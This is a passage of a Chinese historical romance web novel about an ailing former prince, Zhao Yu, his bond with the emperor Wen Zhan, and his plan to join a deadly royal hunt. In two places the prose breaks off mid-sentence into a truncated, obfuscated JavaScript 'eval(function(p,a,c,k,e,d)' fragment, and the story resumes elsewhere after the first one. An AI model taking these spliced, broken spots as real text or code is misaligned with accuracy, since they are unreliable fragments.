“在看什么?”他问。 “难得晴天,方才谢翾飞告诉我,钦天监传来的消息,以后几天都有雨,而且都是暴雨。” “嗯。”文湛点点头,“汛期要到了,河道上一直都知道七下八上(七月下旬,八月上旬")需重点防护。” 赵毓后退了两步,靠着树干站在树荫下,他拉着文湛的袖子,让他不用抬手为他挡光了,“我们今天就回南苑猎宫吗?” 文湛点点头,“嗯。” 赵毓,“我方才试了试,力气还没有恢复,骑马拉不动缰绳。” “我们同乘一匹,我抱着你。”文湛忽然笑了一下,却没再说话。 赵毓微微侧头,“怎么?” 文湛,“方才燕王壮着胆子到我面前。” “哦?”赵毓,“王叔说什么了?” “什么也没有说。”文湛,“似乎到我面前就已经用尽了他的全部力气,所以,王叔什么都没有说。” 赵毓也跟着轻笑了两声。 文湛,“可我对他说了几句。” 赵毓看着他。 文湛,“我们从小一起长大,九重宫阙之内,只有我们两个相依为命,从前是,现在是,今后也是。永不相负,永不分离。让他不用担心。” 永不分离吗? 赵毓微微垂下眼睑,拉着文湛的手,捏了捏,力道依旧软塌塌的,好像在轻轻抚摸一般,“谢翾飞他们把赵洵美裹好伤了吗?” 文湛,“应该,……差不多了吧。” 赵毓,“我去看看。” “嗯。”文湛,“我陪你。” 谢翾飞把赵洵美裹得像个粽子,完事儿出屋,先问了文湛安,随后对赵毓说,“我也给他弄碗鸡汤。” 赵毓,“后厨还有我没啃完的半根长白山老参,也给他。” 谢翾飞答应一声,就拄拐一步一步走了。 赵毓进屋,看见粽子正抬眼,瞧见他就像揪住一根稻草,还挺欢欣的,可当粽子看见他身后的文湛,却像是深渊巨浪中的小舟,惊恐颠簸到差点就翻了。 赵毓赶紧安抚,“别担心,我同你母亲聊过了,没事儿了。” 赵洵美似乎听着也不是很‘不担心’,这时奉宁端了一碗鸡汤,里面当真让谢翾飞切了赵毓没啃完的那半根长白山老参。 粽子看见奉宁愈发的不是很‘不担心’,赵毓接过去那碗参鸡汤,让奉宁先出去。他端着鸡汤就坐在床边,本来想拿着勺子喂赵洵美喝几口,可是实在没有力气,想着自己吃饭还是文湛喂的,也不逞强了,又将碗与勺子放在旁边的桌子上,而文湛则在桌面远端的木椅上坐了。 “孩子,你别害怕。”赵毓颇为和蔼,向前还凑了凑,堆起来一张笑脸,“这里没外人,就咱爷仨。” “我呢。”赵毓又说,“你熟!咱爷俩喝过酒,还吃过烤肉。六舅舅虽然你见得不多,可他好歹是你亲舅,你别害怕,你娘没事儿。” 赵洵美看着他,终于点点头。 赵毓,“你说的那些事,奉宁已经去办了,先将他们从散花溪涧骗走的妇人们找到,再说其它,这事上你立了功。” 赵洵美终于开口,声音有些残破,“舅。” 赵毓,“嗯。” 赵洵美,“您没事吧。” 赵毓愣了一下,想到他问的是自己吐血的事,随即笑着说,“我没事,醒了就没事了。” 赵洵美很是惭愧,“我娘这次,她……,做的事情,实在是……” “大人的事与你无关。”赵毓,“洵美,我来,是想要问问你,你来朱仙镇为什么?” 赵洵美,“想要劝他们收手,还有,舅,其实我就是来找您的。” 赵毓有些意外,“我?” 赵洵美,“是沈瑶的事。” 赵毓听到这个名字非常陌生,等他想了一下才明白,此时赵洵美说的这个名字,就是他之前那位订过亲的那女子,沈熙载的嫡长女,他甚至还见过这位姑娘。 他说,“如果你不想退婚,等回雍京,我帮你。” “不是。”赵洵美,“这个婚约是保不住了,毕竟牵扯兰芝社,我懂利害。只是,我同沈瑶五岁定亲,已逾十年了,虽然只见过一次,可我一直当她是我未来的妻子。君子重信守约,可如今却是我背信弃义,陷她于为难处境。” “世家女子大多年幼定亲,她如今解除婚约再寻良人,年纪就显得大了一些,门第相当年龄合适的郎君大多已有婚约,她挑拣不了,再加上想要攀附舅舅您而不得的名声,罪加一等,处境就越发艰难了。” “舅。” 赵毓应了一声。 赵洵美,“沈瑶是无辜的,局中棋,做不了沈氏的主,也做不了自己的主。我能不能最后再为她做些什么,让她处境没这么难?” 大郑女子生而有罪,姻缘又挂着妇德,不要说行差踏错一步,就算是天灾人祸,一步没走对,都是滔天的祸事。 赵毓,“你怎么知道我在朱仙镇?” 赵洵美先看了看文湛,才说,“是雍王告诉我的。” 赵毓,“越筝?” 赵洵美点头,“他同太子殿下已到南苑猎宫。” “嗯。”赵毓点了点头,“其实,还真有一招,那位沈家的姑娘可得陛下恩旨赐婚。” 赵洵美,“是什么?” 赵毓,“你入上林王狩。” 赵洵美的确吃了一惊! “入上林王狩九死一生。”赵毓,“上天有好生之德。已经嫁进来的王妃命妇们,命中该有此一劫,厚厚抚恤,再嫁亦可;可那些只与王族子弟有婚约,并未过门的姑娘们,不必做望门寡,准许解除婚约。这是家国大义,姑娘名声并不受损。” 赵洵美,“如果我活下来呢?” 赵毓,“活下来,就要奉圣命出征,还是无法娶妻。” 没时间了…… 过了一会儿,赵毓才问,“洵美,用你九死一生换她自由,愿意吗?” 赵洵美缓慢却坚定点了点头,“我愿意。” “好。”赵毓,“方才我同你娘说的也是这件事。这次长公主的确犯了重罪,陛下顾念手足至亲,可容情。可再怎么着,你们也要真心诚意做些什么来平息陛下的雷霆之怒。” “如今你入猎场,为自己也为沈家姑娘搏一个前途,生死荣辱都要靠你手中的刀枪箭弩,而不是那些阴暗精巧却毫无用途的所谓权谋,非常难。你怕不怕?” 赵洵美想了想,还是诚实点了点头,“怕。” 赵毓微微笑了,“都怕。” “可,……”赵洵美,“这是应做之事,就不能回避。因为事情就在那里,避无可避。” 赵毓一直看着他,没笑,眼神中带着柔和,似光似水,却静谧无波。“行啦。”站起来,“今天就要回猎宫,我得去收拾,我找个人过来喂你喝鸡汤。你觉得,奉宁怎么样?” “算了吧!”赵洵美,“不要劳动郡王了,我自己喝。” 赵毓,“你自己喝着费劲,我让温岭过来吧。” 说自己收拾,其实他什么都不用管,文湛做的都比他多。因为要和他同乘一匹马,文湛让人多拿了一些丝、棉和毛皮,重新装饰了一下马鞍,让他坐着松软,也舒服一些。 燕王过来,看见靠在大树下看热闹的赵毓,叹口气。 赵毓连忙回身,“王叔,当时在您封地,我说这事儿的时候,可没瞎话。” 对,你是没瞎话,——陛下的确并非公卿,也非兰芝社。你没勉强,他没攀附。字字珠玑,情真意切。没瞎话,也能直接把人骗得晕头转向,差点骨头渣都没剩。 “承怡,只要你们不受挑拨,不受离间,是君臣,兄弟,还是……,那个啥,只要一条心,别的,我都无所谓,这事儿揭过。”燕王,“我来,是想问问你对北境军情、还有北境兵权,到底是个什么想法?” “我?”赵毓看着不远处的小教场中,仔细调试马鞍的文湛,“王叔不是说过吗,我才是去北境的最好人选。那里有我西北的旧部,山海关有我举荐的封疆大吏,高昌王与我有旧。” 燕王,“可陛下不同意。” 之前,他当真认为文湛如此圣王,却也无法跳出千年轮回,落入窠臼。如今,他回想前些日,在南苑猎场临水之滨,赵毓说的话,声音柔和,带着奇异的缠绵:——“王叔错怪陛下了。其实,陛下不让我去北境,……只是不想我再次犯险。” 赵毓的眼睛依旧看着那边的文湛,轻声说,“他会同意的。” 因为。 我也会入上林王狩。 九死一生。 可,胜者掌北境兵权。 以姬姓皇族亲王的身份,总摄北境军政大权。 只是,…… 能活到那一天吗? ——我要死了,是吗? 回到猎宫已经是深夜,清了场子,马蹄声在冷月夜风当中,一种风萧萧兮的肃杀感。 文湛勒住缰绳,他先下马,回身将赵毓抱下马。此时赵毓的双手的确一点力气都没有,不要说控缰绳,如果文湛不抱住他,他甚至连稳于马鞍上的力气都没有了,脸色也极难看,月光下,居然显出一丝灰败。 他对赵洵美说自己醒了就没事了,文湛在场,他对他太熟悉了,知道,那是彻头彻尾的谎言。 这些天文湛也熬鹰似的,疲惫到极点,等赵毓喝了汤药安寝,他也在他身边躺好,多年耳鬓厮磨的习惯,额头抵住他的,伸手,揽住的,却是一把瘦骨。 睡得安稳也好,不安稳也好,终究还是睡着了,只是终究有些忐忑。一丝冷意,怀中已空,文湛猛然坐起来,却看见床上放了一张矮桌,点了一根蜡,赵毓就在这边,摊着,看猎场的山川形胜图。 “吵醒你了呀。”赵毓有些意外,“我还想着自己动作小声点,让你睡得长久一些呢。” 外面已经续着下起了雨水,落在乔木树叶,台阶青石,还有宫墙琉璃瓦上,虽然听上去有些杂乱,却带着清凉的气息,不令人烦躁。 “在看什么?”文湛也挪了过来,“怎么不多睡一会?” “我不缺觉,就是累。”赵毓,“累狠了更睡不着,躺着看窗子和房顶,也实在无趣,就摊开这猎场的地形图看看。等天亮我去找燕王叔,让他调兵,对南苑两侧的群山,还有河道湾流这几个点加强守备,别让居心叵测的又或者是不长眼的,凑着热闹趁着乱,钻了空子。” 殿内烛火明灭,刚好在赵毓脸庞处,爆了一下,照着他面色如纸,而眼角泪痣极浓极艳,像血珠子凝结而成。此时的他极瘦,人异常的薄,眼窝微微凹了,眼皮也薄,一抬眼折了好几层,就显得眼睛比之前大一些。 “怎么了?”赵毓感觉到文湛一直看他。 “没什么。只是……”文湛想要抬手为他擦掉那颗痣,忽然记起来,很多年了,他擦了很多遍,那颗泪痣依然还在,那是长在承怡皮肉里面的,那是擦不掉的。“承怡,我今天调整马鞍的时候,看见,你在看我,……,一直看着我。” “我看着你呀,一直这样,从小到大都这样。”赵毓低头看山川图,“只是,你一直没回头,不知道罢了。不过,小时候你心那么大,就算回头了,看到了,应该也不在乎吧。” “小时候不懂。”文湛,“等我懂了,却太晚了。” “承怡。” “你离京,我才知道,没有你在,就是一层皮活生生剥下来放在虚空中熬煮,血肉一寸一寸腐烂掉,最后空留一副骨头架子。外面看还是个囫囵的人,内里早就空了。你从西北回来,看到的就是那副白骨。” 赵毓狐疑抬头,“怎么突然说这个?” 文湛,“那些年,他们败了、疯了、死了,临终还要诅咒我孤家寡人,除却帝座万事成空。承怡,你说他们是不是荒诞可笑?” 赵毓没有回答,文湛也没有再问。 只是微微前倾了身子,在那颗血滴似的泪痣旁,轻轻亲了一下。 他躺了回去。 距离天亮还有一个时辰,赵毓将山川图卷好,也挪了回去。 文湛还是伸手,将他揽在怀中,“承怡。” 赵毓,“嗯?” 文湛,“小的时候,我遭暗杀,中毒躺了好久。你说,再这样就错过花期了,然后就抱着我到院子中看花开。那是荼蘼,韶华胜极,却昭示着暮春将尽了。不过,承怡,你那个时候抱着我,很不用心。” 赵毓,“啊?” 文湛,“颇敷衍。就那么松松垮垮圈着胳膊,似乎,既不怕我从你膝盖上掉下去,也不怕我被人抢走。” “呃……”赵毓,“我就那点力气。” 文湛,“所以,我当时就想着,以后换我抱着你,我一定要用力,绝不能像你那般敷衍!” “可是,承怡。” “太紧,你会伤着。” “太松,你就走掉了。” “文湛。”赵毓轻轻叹息,“我们不是布衣夫妻,本就没有平凡厮守、柴米油盐的福气。” 谢翾飞一只手需要杵拐,所以给赵毓准备的药汤就放在一个罐子中,系了根麻绳,正好单手拎着。 天亮雨就停了。 赵毓坐在殿外的青石台阶上啃人参。 谢翾飞哭笑不得,“赵先生,老参不是这么个吃法。啃太多,无法克化,不但于恢复体力没有助力,反而更会伤身。” “不是老参。”赵毓晃了晃手中白胖犹如萝卜一样的人参,“老参也长不了这么肥美,这是自己种的,不是长白山里挖的。前年,我在猎宫看见后山挺好的,深林巨木、崭岩参嵳,就划了一块地,让黄枞菖找人种参。自己种的人参白白胖胖,药性不那么大,能泡药酒,也能炖鸡汤。” 谢翾飞把药罐子递给他,“喝吧。” 赵毓就着白胖人参喝了药,苦不堪言,当真是苦不堪言。 谢翾飞,“别想那么多,修身养性,悠然度日,会好起来的。” 赵毓把空了的罐子递给他,“谢兄呀,如果,我……” “没有如果。”谢翾飞,“你现在虚弱到连上马都做不到,那些心思,不管高低都是虚妄,弃了吧。” 赵毓没说什么,连手中的人参也不啃了。 谢翾飞看着赵毓,向前走了两步,就坐在他身边,一同看着远方。 猎宫恢弘,弥山跨谷,高廊四注,重坐曲阁,华榱璧珰。 此处视野极佳! 芒芒恍忽,视之无端,察之无涯。 谢翾飞,“赵先生与我相交,是陛下登基改元,你离京之后了。” “那个时候刚刚好。”赵毓说,“你是王谢门庭的弃子,我是废王,没有能力翻江倒海,只能谈风月诗酒,号称君子之交。要是再早一些,楚相执掌御史台,谢庭玉兰与皇帝长子私交甚密,弹劾的奏折一定淹了我父皇的案头,我那四万两的年俸,在楚相谏刀之下,也是无论如何都保不住了。” 谢翾飞没说话。 赵毓扭头看看他,“怎么了?” “殿下。”谢翾飞轻笑了一声,“其实,从刚认识你开始,那时你已经被废黜,可有许多次,我都忍不住称呼你为殿下,只是,始终还是忍住了。” 赵毓不解,“这又唱哪一出?” 谢翾飞,“就像方才所说之事,如若我们当真于先生宠冠诸王时结识,凤化末年朝局宛如滔天巨浪,于赵先生,顶破天就是被罚年俸的事,于谢家可能就是灭顶之灾,于我,怕不会被挫骨扬灰吧。” 赵毓听着,没说话,转回了头颅,继续看着远方山川河流。 穹隆云桡,宛潬胶戾。 谢翾飞,“你从来没有问过我,我的腿是怎么瘸的?” 赵毓,“被斩断青云路,左右不过是我表哥那场戏。” “不是。”谢翾飞,“还真不是。” 赵毓,“怎么?” 谢翾飞,“崔侯那场戏,有谋略,有牺牲,亦有真情。帝王弹指之间一场局,储相人选必须了断青云路。可是,不服不忍不从又能如何?即使能攀清要文官这条云梯,就一定扶摇直上九重天吗?凌烟阁,依旧是一层一道鬼门关。不过,崔侯的戏,有起,有落,有深陷其中不疯魔不成活的看客,也有赵先生这样披肝沥胆的骨肉至亲。前有呼,后有应,虽有遗憾,这十几年,也消弥于社稷山河之重,与高爵厚禄的大功业之中了。” “我不同。” “我这属于拔剑四顾心茫然。仅是打马球的一场意外,就断了我一条腿,也断了我的科举仕途。没有兄弟阋墙的阴谋诡计,就是马夫母亲病重,有些恍惚,没有照料好马匹,以至于球场上忽然受惊,将我掀翻,踏碎我的脚踝骨。又恰逢我祖父十年不遇开坛讲经,满朝大儒、谢氏门生故吏都在,没有人因为我这事就去打断那样的盛会,也没有人顶着不孝不忠大不敬的大罪名拿祖父腰牌叩宫门请太医,所以,伤情就耽搁了。” 赵毓异常意外。 谢翾飞,“如赵先生,如崔侯,能浴火重生之人,凤毛麟角,而多数人,都在和光同尘之中,隐入尘埃了,也就学会了如何甘为庸平。那些心思,不论高低皆为虚妄,当真弃了。” “这世上事不如意十之八\九,想做的事很多,不能做的事也很多,最后做成的事却很少。你看猎场这苍梧西极,重林丰茂,白鹿狡兔,你在,它们在,你不在,它们依旧在,只是,你看不到了。孟夫子话语引出典故随遇而安,也引出典故当受则受,这世上的人,十之八\九也不会与天争,赵先生可学布衣百姓,采菊种豆,悠然见山,从善如流吧。” 赵毓笑了,“翾飞,这不是布衣,这是陶渊明。” “真正的布衣,日出而作日入而息,赋税徭役泰山压顶,有时年景不好,想要有种子,一家大小撑过春荒,还要从地主那里借印子钱,利滚利,那可真是一睁眼就欠钱,当真没有陶渊明的悠然,没空见山。” “我懂你的意思,也谢你的善意,只是,……” “我不是布衣。” 谢翾飞顺着赵毓的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“三两银子能买人家孩子一条命,都买不了一斤上等官燕,那个价值三十两,可咱谁也没拿那东西当稀罕物,早上起来一碗冰糖燕窝粥都吃惯了,和豆汁果子没什么不同。我之前在西北有个副将,他也卸甲了,名字是薛宣平,如今是我元承行大掌柜,你应该知道他。他说自己小时候,好日子就是一年到头白薯萝卜能吃饱饭,他奶奶不用出去要饭。我和他说,我小时候的寻常日子,织造局供奉宫廷,每年制衣费超过五百万两白银,而我的衣袍独占八十万两,他下巴都惊掉了。昨天在朱仙镇,我将长公主骂得狗血淋头,她还得感恩戴德。” 说到这里,赵毓笑了,“我就觉得吧,这人,最好知行合一。手握王权富贵,以权势压人的时候,没觉得自己是草民,也不会因为三两白银就卖儿卖女;等到需要为社稷搏命的时候,就不能怂,现扯一张布衣百姓的皮,躲在采菊种豆、悠然见山的壳子里缩着,当真不像个样子。翾飞,可不可以尽快恢复我的体力,还有,尽力保我一条命?” 谢翾飞,“如果尽了力,还是不成呢?毕竟我不是阎王,改不了你的生死簿。” “千算万算老天还有一算。”赵毓,“如果当真还是到了那一步,天命所终,无可奈何。像你说的,孟老夫子的话引出两个典故,随遇而安,当受则受吧。” 奉宁过来说,那些被长公主府的家奴莫名其妙骗走的妇人们已经找到,居然就在猎场之内,已经押在河谷营地。 赵毓,“我就说吧,有大鱼。” 谢翾飞拎着罐子杵拐站起来,“赵先生有大事要做,我就先告退了。” “诶!”赵毓,“一会儿黄枞菖过来,温姐姐熬了杂鱼,他端过来一锅,你弄些回去,泡饼子好吃。” “我就不吃了,先去给你配药。你现在这么软塌塌的可不成,这里毕竟是猎场,上不了马,行动不便是小事,躲不了别人的冷箭,那就是大事了。”谢翾飞走了两步,回头再叮嘱一遍,“没有我的药,你别逞强,也别动气,心气别那么高,当真断了心脉,神仙都难救。这次我说的话,你千万要记得。” “一定。”赵毓极认真点头。 见谢大夫走远,奉宁就盯着赵毓,嘀咕了一句,“我现在还有什么心气呀。” 温岭第一次来猎宫,被震到一时无语。 他原本以为,南苑狩猎不过就是一群王孙公子们没正事儿骑马追着兔子乱跑,场面说好听些就是左牵黄、右擎苍,说实话就是鸡飞狗跳墙。 谁想到,眼前这雄踞山峦群巅之上,连绵不绝、雄浑华美的琼楼玉宇,不因为依山而建就有半分敷衍,依旧雕栏玉彻,虚幻到犹如不似在人间。 一千多年了…… 只有千年不灭的稳定,才能保住如此璀璨的盛世繁华。 温岭是跟着他母亲温挚来的,他舅靖渊公温栾也在。 还有黄枞菖。 宫殿再华美,也已经很古老了,而且檐顶过高,殿内都能显得空旷而冷清。 赵毓招呼他们喝茶,又招呼所有人围在一起吃了熬杂鱼和饼子。 “叔,您怎么吃这么少?”温岭看他只吃了半条镇纸大的小杂鱼。 “我早上生嚼了三根人参。”赵毓用身边黄枞菖的袖子擦了擦嘴巴,“现在嗓子里都是一股又苦又甜的怪味儿。温姐姐炖的鱼好吃,我才能咽下去半条,再多,要吐了。” “诶。”温岭叹口气,他转头四处看了看,“怎么没见六叔?” 似有冷风灌入,本来就寒凉的殿内,更冰了一些。 赵毓,“昨夜从雍京转过来军情急报,陛下需处置,就没用膳。一会儿让你黄叔送些点心过去。” “啊?又是半夜没睡啊!”温岭又叹口气,“前天在朱仙镇,我还和六叔说,不能这样的。叔,您没醒那三天,六叔就没睡,生生在熬日子,也在熬人。不能再这样,身子骨吃不消。” 赵毓一直低着头,不知道想什么,半晌,他点头说,“嗯,我会劝劝他。” 随后,他站起来,“我和奉宁还有一些事情需要出去一趟,温姐姐,温兄,还有温岭,老黄招呼你们。猎宫这里虽然不比雍京,茶水还是准备了的,你们用些点心,候着陛下就好。” 他们送赵毓出来,随后就站在滴水檐下,看着赵毓一步一步走下殿外青条石的台阶,到空地。 奉宁牵了两匹马过来。 从这里到河谷营地,必须骑马。 赵毓仗着自己早上嚼了三根人参,直接扯缰绳,没想到平时做起来丝滑顺手的动作,此时差点将他拽个跟头。 力气依然没恢复。 奉宁想了想说,“我去套辆马车。” 赵毓直摇头,“从这里到河谷营地横着两条浅水河,马车过不去,会陷。”他左右端详了一下眼前的马匹,纯正黑色极上等的匈奴马,犹如周穆王的八骏盗骊,“要不这么着,奉宁,你给我找两条绳子,把我绑马鞍上。只要它驮我的时候我掉不下去就成。这样,山能越了,河也能过了。” “……”奉宁,“太危险,一旦颠簸起来,兄长未必能安稳坐在马鞍上。万一摔落,兄长无法脱身,会被拖行的。” 赵毓,“还能有其它的法子吗,总不能走过去吧。” 奉宁又想了想,“兄长,我们同乘一匹。” 赵毓也想了想,“看来只能这样了。” 奉宁,“这样能安稳一些。” 赵毓,“你先上马,我再上。我坐你身后,揪着你。” 奉宁,“兄长控不了缰绳,也揪不住我的。” …… 温岭看着他们两个绕着马匹比比划划,有些乱,他想下去帮忙,却被他舅靖渊公温栾抓住袖子。 “干什么去?” “舅。”温岭说,“赵叔一点力气都没有,他自己上不了马的。除非,郡王跪下做上马石。可是,小叔毕竟是郡王,这样不大好吧,我去帮个忙。” 他说着还看了看温挚,结果他娘就没搭理他。 温岭,“呃……” 温栾,“既然你入了猎场,就得知道猎场的规矩。最重要一点,王族的事情,可远观,不要插手。” 温岭,“啊?” 温栾,“姬姓向来有君臣没兄弟。” 温岭不解,“这怎么说?” 温栾,“大殿下出生,先帝跪了岐山神宫,整七天,这就是册封储君的礼,却未能圆满,没有诏书和东宫册宝,因而在当年惹了诸多猜疑。既然先帝想要册封,为何只走了半途?当然,如今这些都尘埃落定了,我们也知道他并非帝裔,可即使如此,他的玉牒依旧在岐山白塔之上,他仍是王族。” “王族之内,以长为尊,以他为尊。不要说琅琊郡王为他做上马石,如果他当真想要雍王做上马石,雍王也得跪下。只不过大殿下为人柔和静怡,不做那种事。可在王族礼法上,他为尊,他当真有那个驭兄弟为臣子的权力。” “我们温氏终究是外臣。王族对待外臣有外臣的礼,有分寸,就显得有距离,这其实也对。所以才说,你过去帮不上什么。如果你过分殷勤,显得温氏没风骨;你要是不过分殷勤,你过去做什么?你看你娘一直没理你,就是这个原因。” 温岭忽然来了一句,“那六叔呢?” 温栾,“看主上心情。他要是愿意,那就算是遵从姬姓古礼,也算是兄友弟恭。可毕竟君臣名分在前,大殿下更不会那么没分寸了。” 这边。赵毓和奉宁比划了半天,最后,“奉宁,还是我坐前面,你揪着我吧。” 折腾了半天,他才终于爬上马鞍。 却坐不稳。 这匹马是神骏,所以脾气不太好,有些躁。 赵毓揽住缰绳,却用不了力气,“奉宁,奉宁,你赶紧上来,我扯不住它。” 无人应答。赵毓很奇怪,他扯着缰绳都有些焦头烂额了,可是奉宁还不上马。忽然,松乱的缰绳被一道冷静却强劲的力量扯住,一股极熟悉,含着迦楠味道的浓烈香气,如暴烈的水一般,带着不容拒绝的力度漫延周身。控住缰绳的那只手,穿过黑色缂丝、织着龙纹的猎装衣袖。 身后上马一人,将他稳稳抱住。 “咦,怎么是你?” 文湛没应他,就是扯了缰绳,策动骏马,沿着山路一跃而下。 渡过第一条河流,进入密林,奉宁没有追上。 赵毓就感觉自己脖子一疼,被咬了一口。 随后听见文湛的声音,“让旁人碰你,真当我死了吗?” 181. 181 181 文湛勒住缰绳。赵毓想要回头看看他,却被圈死,怎么也动不,此时,文湛的下巴就搁在赵毓的肩膀上,很尖锐,戳着甚至都有些疼了。 昨夜那句“我们不是布衣夫妻,本就没有平凡厮守、柴米油盐的福气”着实伤了他。 实话,也伤人。 这其中的关隘,文湛何尝不知?如若只顾己私,一着不慎,终致山河破碎,生民倒悬,身后自有铮铮铁骨于史书上一声诘问,——“遍地枯骨,君父,知否?”怎样应答?列祖列宗尚可用伟烈丰功敷衍过去,可如何面对千秋史笔,天地众生? 昨夜,烛火已经熄灭,窗外没有晨曦,殿内一片黑暗。 “文湛,我之前不明白为什么千年前那些祖宗们都像一根一根神棍,岐山神宫大祭司的权力甚至一度可以制衡皇权,宫庙一座一座拔地而起,不似人间。那些祖宗们留给后世的印象活像一个一个活在古怪神话传说中的九头鸟,人头蛇身,麒麟神兽以及四不像,恐怖而怪异。” “后来我懂了。太|祖征伐天下,诏书开头第一句就是,朕以眇眇之身、兴兵诛暴虐。我对长公主说过,帝王业,天生带着神性。问鼎帝座之人,本身就是一尊神像,上等羊脂玉雕刻而成,摆在大正宫、岐山神宫、太庙,不能哭,不能笑,最好也不要呼吸。” 文湛,“可我不是神像,我是个人。” 他是个人。 是人就有感情。 想要和承怡相伴余生,不离不弃,是他作为人最后的希冀,除去这个,他就彻底失去作为一个人的根基。抓住承怡,死死抓住他,是求生的本|能。 神性与人性的纷争导致恐怖撕裂感由内而生,将他一分为二。 此时黄枞菖殿外奏报,北境有紧急军情呈入。 文湛起身,“承怡,你去北境,除非我死。” 赵毓也起来,就坐在床边,看着文湛着衣、离开,看着他的背影,看着猎宫高耸的顶,还有窗子外逐渐显现的晨曦。他和黄枞菖到后山拔了几稞人参用泉水洗干净了,拎回来,坐在殿前巨大的石条上开始啃。随后,谢翾飞拎着药罐子就过来了。 此时,赵毓,“文湛,我……” 他扭头,脸颊蹭到文湛的鼻尖,被亲了一下。 “文湛,……” 没有回应。 “文湛,松开我一下,恶心。” 被圈住的力气小一些,赵毓伸手揪住自己领口,捶了捶。 文湛赶紧下马,转身将他抱下来。他到溪水边上,抠了抠嗓子,把早上啃的人参全吐了,自方才一直翻涌着那股子恶心的劲头才彻底消弭。 他靠着一棵参天古木,慢慢滑坐在草地上,文湛解下腰间的水囊递过来,让他喝水漱口。 周围安静极了。 树叶轻微摇晃着,有虫鸣,也有飞鸟振翅的声音。 忽然笑了,“文湛,看,树底下有蘑菇,应该能吃,长得很朴实。” 扯住文湛的袖子,让他也坐下,正好坐在蘑菇上。 赵毓,“好久没这么狼狈过了。当年我们西征花剌子模,回来的时候误入须臾沙漠,转了五天才找到水,还看到了海市蜃楼。水面出乎意料的大,天山上的雪水融化流淌过来汇聚,滋养了很广一片绿洲。我记得自己当时劈头盖脸都是沙土,滚下马,趴在水边,喝足了水,也洗了脸,翻身躺着,一动不动,正好看见天空上流云浮过,就像这里一样。” 他抬手,指了指远方,“猎宫的天空也有云。” 文湛也顺着他的手指望向远方,“上次在猎宫,说起来你那个西北的加茉妹妹,你也提到须臾沙漠。你说,沙漠边上有座山,就是雪山,它的谷底是一个湖,因为人迹罕至,湖里面的鱼都很大,鱼头比马头还大。拉一条鱼上岸,就够我们两人吃三天。” 赵毓,“那个时候,我不知道自己是否还能回雍京,……”他顿了一下,“活着回雍京。” “当年在西北看见一些好玩儿的事,新奇有意思的吃食,总想着,要是你在身边就好了,就像小时候那样,在大正宫我从御膳房给你偷红豆饼吃,我也想着从南疆集市给你弄个大馕,掰开,泡羊肉汤吃。可惜。” “嗯。”文湛,“那个时候你不要我了。” “呃。”赵毓抓了抓脑壳,“倒也不能这么说。” 文湛,“哼!” 赵毓,“加茉死了,阿伊拉也死了,还有梁十一救的那个高昌遗孤,吊死在午门之外,都没了。她们总迷信身死之后魂归长生天,骗人的。这几百年,西北死了那么多人,可是天山,河谷和草地,一如既往,没有任何不同,牛羊似乎都越来越繁茂了些呢!只是那些姑娘,原本可以活到满脸皱纹,却在花一样的年华,永远成灰了。” “阿伊拉的封号是昭静贵妃,先帝亲自下诏册封。高昌国灭,她自杀殉国,先帝悯其哀恸,彰其忠烈,免其自戕大不敬之罪,保留贵妃封号,并且谥‘昭静’二字。只是,静这个字,表面说是静怡淑德,实则先帝嫌她‘不安静、太折腾’,才用静这个字反讽她惑乱后宫。” “先帝没有废她封号,因为她不重要,也无人在意,而保留她的封号,却可以做妆点大郑帝王开疆拓土大功业上一块毫无生机却美艳绝伦的和田玉雕花卉,同时也是为了我。为了掩盖我的罪孽,她可以依旧是贵妃,也必须去死。只要先帝没有废黜她,我们就没罪,后世窥伺皆为虚妄。” “先帝陵寝无她的容身之地,我将她的骨灰带出了玉门关,葬于天山。说起来,自第一次在大正宫夜宴上见到她,至今,也快二十年了。” 这是他们之间的禁忌,尤其对于文湛来说,阿伊拉是他在承怡这里永恒的禁忌,不要说触碰,即使靠近,都会血腥气蔓延。 其实他曾经犹豫过,是否要成全承怡和阿伊拉。 小时候,承怡曾经告诉他,喜欢一个人,就是想要对他好,看着他好了、开心了,自己开心。可是那个时候,他却觉得承怡这话错了。 那是一种强悍诡异的毁灭欲。 只要承怡眼中的人不是他,他甚至想要拉着承怡一起下地狱! 理智将他扯住,终究没有走到不可回头那一步。他为了宽宥承怡和阿伊拉去跪父皇,在雨中跪了三天三夜。这么多年,那夜的情形如烙印,永不淡忘,永不消散。 ——微音殿前琉璃灯,父皇平淡神色,和洞透人心的笑。 “朕这个太子,擅谋略,能算计天下人心。” “颇具雄才雏形,朕甚欣慰。” 那是文湛第一次感觉到透骨的恐惧,惶悚不安。 那一年,他十四岁。 “承怡。”文湛,“阿伊拉的事,是我对不起你。” 快二十年了,这是他们两人第一次开诚布公揭开阿伊拉这道旧疤。 赵毓摆了摆手,“不是,错的是我。归根到底,是我对不起她。” 文湛扭过脸,看着他。 赵毓平静地说,“那日在朱仙镇,我说长公主没有脖颈悬刀的过往,不识真正杀机,以为王权争夺不过一些精致的淘气,可当年的我,何尝不是?” “我不应该靠近她。我的身份的确特殊,谢翾飞都说,如果凤化年间他与我结交,都有可能引大祸上身,何况阿伊拉?她既是老爹的贵妃,又是一位明显带着阴谋的异族公主。那个孩子从一开始就没有活路,父皇以及宗法不允许大郑的皇子有一个明显带有异族特征的后裔。至于我,当真算得上是秽|乱宫闱,也是父皇和你当真不计较,这才容忍了我的罪。” “那群人多年后掀出此事,原本想整一出惊天大案,如今看,也不过一场旧年秘闻,真假不辨,没有任何风浪。只说柳密在场,无论私交如何,于公,若没有父皇诏书盖棺,他必须写弹劾奏折。如今这事先帝不追究,你不计较,他们就无可奈何了。” “只是。”赵毓叹口气,“这件事,牵连了很多人,其实都是无辜的。” “阴谋诡计当中,没有无辜之人。”文湛则说,“尤其是那个高昌疯妇。” 赵毓,“你想怎么治罪于她?” 文湛,“她本人按古礼祭祀,连坐九族。” 赵毓,“连坐九族是要查黄册的。我去西北这些年,从战争到平定,无论多忙乱,都开始陆续造册了,她应该有的。可你知道她本名是什么,乡贯,年龄,丁口,田宅,户籍几何?” 文湛沉默,半晌才说,“好像是两个字的名字。” 赵毓微微摇头,“陛下,您连她的名字都记不清,她之于您,当真是土芥。” “她叫溯黛。这都不是她的本名,是她那个丈夫沈臻为她取的名字,有些异族样子,其实还是大郑汉文。她真正的名字是阿奴希尔薇·阿尔术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 